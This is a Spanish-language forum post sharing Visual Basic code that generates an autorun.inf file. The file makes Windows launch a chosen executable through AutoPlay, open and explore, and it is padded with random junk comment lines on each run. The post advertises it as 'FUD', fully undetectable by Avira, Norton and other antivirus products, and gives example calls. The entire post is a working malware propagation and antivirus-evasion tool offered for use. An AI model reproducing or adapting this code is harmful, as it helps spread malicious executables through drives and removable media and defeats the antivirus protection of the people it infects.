Este es un codigo para generar un archivo Autorun.inf 100% FUD indetectable ante AVIRA Norton, ... bueno ante cualquier AV... hasta la fecha sigue intacto xP.
OJO LOS AUTORU.INF SIEMPRE son DIFERENTES!¡.
Código
' ' //////////////////////////////////////////////////////////////// ' // Autor: BlackZeroX ( Ortega Avila Miguel Angel ) // ' // // ' // Web: http://InfrAngeluX.Sytes.Net/ // ' // // ' // |-> Pueden Distribuir Este Codigo siempre y cuando // ' // no se eliminen los creditos originales de este codigo // ' // No importando que sea modificado/editado o engrandesido // ' // o achicado, si es en base a este codigo // ' //////////////////////////////////////////////////////////////// option explicit Public Function GenerarAutorun(StrPath As String, StrExeNameExt As String) As Long Dim Var(6) As String Dim DataWrite As String Dim i As Integer Dim RN As Integer Dim nMin As Long Dim nMax As Long Dim Sep As String Dim Char1 As String * 1 Dim Char2 As String * 1 Var(0) = "[Autorun]" Var(1) = "Open = " & StrExeNameExt Var(2) = "UseAutoPlay = 1" Var(3) = "action = @" & StrExeNameExt Var(4) = "shell\open\Command = " & StrExeNameExt Var(5) = "shell\open\Default = 1" Var(6) = "shell\explore\Command = " & StrExeNameExt If Dir(StrPath, vbDirectory) <> "" Then Call NormalizePath(StrPath) StrPath = StrPath & "autorun.inf" Open StrPath For Binary As 1 For i = 0 To 6 DataWrite = vbCrLf & Var(i) nMin = NumeroAleatorio(100, 1000) nMax = nMin + NumeroAleatorio(100, 1000) For RN = 0 To NumeroAleatorio(nMin, nMax) Char1 = Chr(NumeroAleatorio(50, 255)) Char2 = Chr(NumeroAleatorio(50, 255)) Sep = Chr$(NumeroAleatorio(1, 255)) While Sep = Char1 Or Sep = Char2: DoEvents Sep = Chr$(NumeroAleatorio(1, 255)) Wend DataWrite = DataWrite & vbCrLf & ";" & TextoAleatorio(Char1 & Sep & Char2, Sep, 1) Next RN Put 1, , DataWrite Next i Close 1 GenerarAutorun = 1 End If ErrorFatal: End Function Private Sub NormalizePath(ByRef sData As String) sData = IIf(Right$(sData, 1) = "\", sData, sData & "\") End Sub Function TextoAleatorio(StrRango As String, Separador As String, Optional LENTEXTMIN As Long = 1, Optional LENTEXTMAX As Long = -1) As String Dim spli() As String Dim i As Double If InStr(StrRango, Separador) > 0 Then spli = Split(StrRango, Separador) LENTEXTMAX = LENTEXTMIN + Int(IIf(LENTEXTMAX = -1, NumeroAleatorio(1, 100), LENTEXTMAX)) For i = LENTEXTMIN To LENTEXTMAX TextoAleatorio = TextoAleatorio & Chr(NumeroAleatorio(Asc(spli(0)), Asc(spli(1)))) Next i End If End Function Public Function NumeroAleatorio(MinNum As Long, MaxNum As Long) As Long Dim Tmp As Long If MaxNum < MinNum Then: Tmp = MaxNum: MaxNum = MinNum: MinNum = Tmp Randomize: NumeroAleatorio = CLng((MinNum - MaxNum + 1) * Rnd + MaxNum) End Function
la Llamada se realiza en alguna parte de su Codigo fuente de la siguiente manera:
Código
Call GenerarAutorun("c:\", "Ejecuta.exe")
Donde C:\ es la RUTA donde se guardara el archivo Autorun.inf y donde Ejecuta.exe es el archivo en el mismo directorio a ejecutar con el metodo Autorun.Inf
ahora si se quiere ejecutar el exe de un subdirectorio con el respoecto a donde se encuentra el Autorun.inf actual solo hay que hacerlo de la siguiente forma:
Código
Call GenerarAutorun("c:\", "Carpeta\SubCarpeta2\Ejecuta.exe")
Sangriento Infierno Lunar!¡.